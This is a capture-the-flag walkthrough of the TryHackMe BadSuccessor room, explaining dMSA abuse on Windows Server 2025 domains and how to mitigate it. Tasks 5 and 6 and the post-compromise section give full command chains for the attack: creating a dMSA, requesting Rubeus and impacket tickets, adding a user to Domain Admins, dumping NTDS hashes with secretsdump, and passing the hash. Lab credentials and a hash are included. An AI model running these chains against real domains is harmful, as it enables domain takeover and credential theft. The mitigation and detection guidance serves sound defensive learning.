TryHackMe BadSuccessor Walkthrough
TL;DR Walkthrough of the TryHackMe room BadSuccessor and mitigation tips for this new dMSA security issue.
THM Walkthroughs:
A full list of our TryHackMe walkthroughs and cheatsheets is here.
Background
Roughly 3 weeks ago Yuval Gordon outlined a new attack vector affecting any Windows domain that has even one Windows Server 2025 DC here. I spent most of a weekend right after that attempting to replicate this attack in my home lab.
Less than a week later Logan Goins put SharpSuccessor on Github here, and equally as important, they put the step by step howto on there to abuse a dMSA. I was able to immediately replicate the attack thanks to them.
Shortly after that TryHackMe created a room that both explains the theory behind the dMSA abuse vector and shows, step by step, how to execute the attack. The only thing this room was a bit short on was really explicit mitigation guidance and an example of how to safely and securely delegate rights so that the helpdesk, for example, can continue to do their job and create user & computer accounts without being able to create a dMSA.
I will go over mitigation and safe/secure delegation in the summary.
If you think only APTs can abuse this stuff and escalate to Domain Admin, like a certain former co-worker of mine, then you are in for a rude awakening soon. If attackers aren’t already using this vector in the wild, they will be soon. They’ll also ‘Live off the Land’ while doing so. DO NOT count on your anti-malware flagging Rubeus to save your organization here! Fix the permissions and cut off the attack vector.
Ok, that’s said. Let’s get to the questions and how we found the answers.
— — Task 1 — -
Let’s explore the BadSuccessor attack.
No answer needed
— — Task 2 — -
I have confirmed that my network is working correctly.
No answer needed
— — Task 3 — -
Which version of MS Windows introduced dMSA?
Windows Server 2025
— — Task 4 — -
What is the username of the third account?
xfreerdp /v:10.211.101.20 /u:tbyte /p:P\@SSw0rd345 /dynamic-resolutioncopy/paste Mishky’s Blue Team tool to the VM
cd ".\Desktop\Blue Team"
. ".\Blue Team.ps1"
Audit-AllOUs
It flags hmann, ditall, & tbyte all having CreateChild with all 0s on “ou=LabOU,dc=tryhackme,dc=local”
The answer TryHackMe is looking for is:
ditall
— — Task 5 — -
What is the flag on the Administrator’s Desktop?
cd C:\PoC
.\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
.\Rubeus.exe tgtdeleg /nowrap
#copy/paste the ticket and:
.\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<ticket>
#copy/paste the ticket and:
.\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025–01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<ticket>
#we now have the dMSA's rights. Copy/paste PSTools to the Desktop
C:\Users\tbyte\Desktop\PSTools\PsExec.exe \\DC-LAB2025–01.tryhackme.local PowerShell
Add-ADGroupMember -Identity "Domain Admins" -Members "tbyte"
Get-Content C:\Users\Administrator\Desktop\flag.txtTHM{Successors_Unplanned_Upgrade}
— — Task 6 — -
I love Linux!
No answer needed
Steps to abuse dMSAs from Kali:
#Install bloodyAD
curl -LsSf https://astral.sh/uv/install.sh | sh
uv tool install - python 3.13 git+https://github.com/CravateRouge/bloodyAD
#Add the domain to /etc/hosts with the DC's IP
#Find abusable OUs
bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' - host DC-LAB2025–01.tryhackme.local get writable - detail
#Create the dMSA
bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' - host DC-LAB2025–01.tryhackme.local add badSuccessor pentest2_dmsa
#save the ccache to an env var (check the ccache name)
export KRB5CCNAME=pentest3_dmsa_bI.ccache
#Request a service ticket to use the dMSA
/usr/share/doc/python3-impacket/examples/getST.py -dc-ip 10.211.101.10 -spn 'cifs/DC-LAB2025–01.tryhackme.local' 'tryhackme.local/pentest3_dmsa$' -k -no-pass
#Save the ticket to an env var
export KRB5CCNAME=pentest3_dmsa$@cifs_DC-LAB2025–01.tryhackme.local@TRYHACKME.LOCAL.ccache
#secretsdump using that ticket
/usr/share/doc/python3-impacket/examples/secretsdump.py -k -no-pass 'pentest_dmsa3$'@cifs_DC-LAB2025–01.tryhackme.local
#PTH as the Administrator, add ourselves to Administrators, & grab the flag
/usr/share/doc/python3-impacket/examples/wmiexec.py tryhackme.local/Administrator@10.211.101.10 -hashes aad3b435b51404eeaad3b435b51404ee:984f755c74dda5d1ec46091043976fec
net localgroup "Administrators" "tryhackme\tbyte" /add /domain
type "C:\Users\Administrator\Desktop\flag.txt"
— — Task 7 — -
To explore other recent vulnerabilities, we recommend you check the Recent Threats module.
No answer needed
Post Compromise Enumeration
I added our initial user, tybte, to either Administrators or Domain Admins after using this attack vector. I then did what an attacker would do and grabbed all the usernames and hashes from NTDS.dit.
/usr/share/doc/python3-impacket/examples/secretsdump.py tryhackme.local/tbyte:'P@SSw0rd345'@10.211.101.10 > BadSuccessor_NTDS.txtAn attacker would then feed these into various cracking tools and check for password re-use. Often Dave in Accounting is using the same password on the company’s bank account as in AD. Joe in HR is doing the same with a third party payroll system that holds all sorts of PII.
I also grabbed copies of the tools used and TryHackMe’s script so I’ll have them on Kali in the future.
evil-winrm -i 10.211.101.20 -u tbyte -p P\@SSw0rd345cd ..\Desktop
ls
Compress-Archive -Path ".\PoC" -DestinationPath ".\PoC.zip"
download PoC.zipMitigation
I will simply quote my earlier writeup on dMSA abuse here:
I am going to disagree with much of the advice on Google regarding this. Many give monitoring tips, what to look for in logs, etc. I say that’s almost useless, as by the time you see this in your logs the attacker is already running ransomware domain wide.
Prevention is required on this issue.
Do not delegate GenericAll, WriteOwner, WriteDACL, or CreateChild with all 0s in the GUID on any OUs or containers in AD to anyone! If you do, they are effectively a Domain Admin. Limit only Domain Admins to creating and modifying dMSAs. This prevents the attack TTP completely. No dMSA, no potential for abuse.
Safe Delegation
Delegate Helpdesk groups the following rights on the OUs they manage users and computers in:
- CreateChild with the specific GUIDs for users (bf967aba-0de6–11d0-a285–00aa003049e2) and computers (bf967a86–0de6–11d0-a285–00aa003049e2)
- DeleteChild with the specific GUIDs for users and computers
- GenericAll with Inheritance set to Descendents
The specific InheritanceType is crucial. Many orgs likely have that third bullet point set to ‘All’, which means their Helpdesk also has GenericAll on the OU itself. This in turn allows the Helpdesk to create any type of AD object in that OU, which then leads to the dMSA abuse attack vector.
The only way to stop them from doing this is to prevent them from creating a dMSA in the first place.
An example of exactly how to do this is here, using an OU named Demo:
Import-Module ActiveDirectory
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName
#Give a group CreateChild in a given OU
$victim = (Get-ADOrganizationalUnit "ou=Demo,$ADRoot" -Properties *).DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity "Helpdesk").SID
#Allow CreateChild
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"CreateChild","ALLOW",([GUID]("bf967aba-0de6–11d0-a285–00aa003049e2")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"CreateChild","ALLOW",([GUID]("bf967a86–0de6–11d0-a285–00aa003049e2")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Allow DeleteChild
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"DeleteChild","ALLOW",([GUID]("bf967aba-0de6–11d0-a285–00aa003049e2")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"DeleteChild","ALLOW",([GUID]("bf967a86–0de6–11d0-a285–00aa003049e2")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Allow WriteProperty so Helpdesk can modify/update accounts
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"GenericAll","ALLOW",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"Descendents",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rules
Set-ACL $victim $acl
#Confirm
(Get-Acl "ou=demo,$ADRoot").Access | Where-Object {$_.IdentityReference -like "*helpdesk*"}
Detecting Insecure Delegation
I whipped up a PoC here:
- Get-BadOwner checks all OUs for nonwhitelisted owners.
- Audit-AllOUs checks all OUs, containers, and the domain root for nonwhitelisted users/groups who hold rights that’d allow dMSA abuse.
- Get-AclAudit -File <whitelist.csv> checks for ‘Dangerous Rights’ on all AD objects held by non-whitelisted users/groups (the whitelist lists groups delegated control of OUs)
I used ‘Audit-AllOUs’ to find what users could create dMSAs in what OU in Task 4 of this room.
All a fictional organization would have to do is audit for this, catch it, and then change the ObjectType from all 0s to the GUIDs specific to users and computers. I posted a handy cheatsheet of ‘Dangerous Rights’ and associated GUIDs here.
Summary
Please do not wander into the fallacy that anti-malware will flag SharpSuccessor and/or Rubeus and save your organization from this attack. Both are open source and available on GitHub. Attackers will modify them just enough to evade detection. Additionally, neither is required to pull this attack off. dMSAs can be created and abuse in PowerShell, PowerView, LDAP, etc. An attacker can create a service to leverage a dMSA’s rights and abuse them, Rubeus is not required, just easy to use.
You have to remove the CreateChild right and prevent them from creating a dMSA in the first place.
I have worked with some in the past who believe that all we need is
- Vulnerability scanners like Nessus
- Patch management
- Polices/DLP to stop users from plugging in their phones, random thumb drives, etc
- EDR
And that’s it. They think that attacks like dMSA abuse are only done by ATPs and not something to worry about.
I disagree, and so do the security researchers who uncovered this issue with Windows Server 2025 DCs. Anyone who can Google can run this attack in minutes.
References
Using Rubeus: https://docs.specterops.io/ghostpack/rubeus/ticket-extraction-and-harvesting
Get the newest Rubeus here: https://github.com/GhostPack/Rubeus
Good list of GUIDs matched to ObjectType: https://github.com/canix1/SDDL-Converter/blob/master/SDDL-Converter.ps1
Dangerous Rights & Delegation cheatsheet: https://medium.com/@happycamper84/dangerous-rights-cheatsheet-33e002660c1d
KDS root key required for MSAs: https://stackoverflow.com/questions/34263477/error-on-creating-managed-service-account-with-powershell
dMSAs & Rubeus: https://github.com/GhostPack/Rubeus/pull/194
GPO for enabling dMSA logins: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-overview
MS14–068: https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/ms14-068
Dangerous Rights: https://medium.com/@happycamper84/dangerous-rights-cheatsheet-33e002660c1d
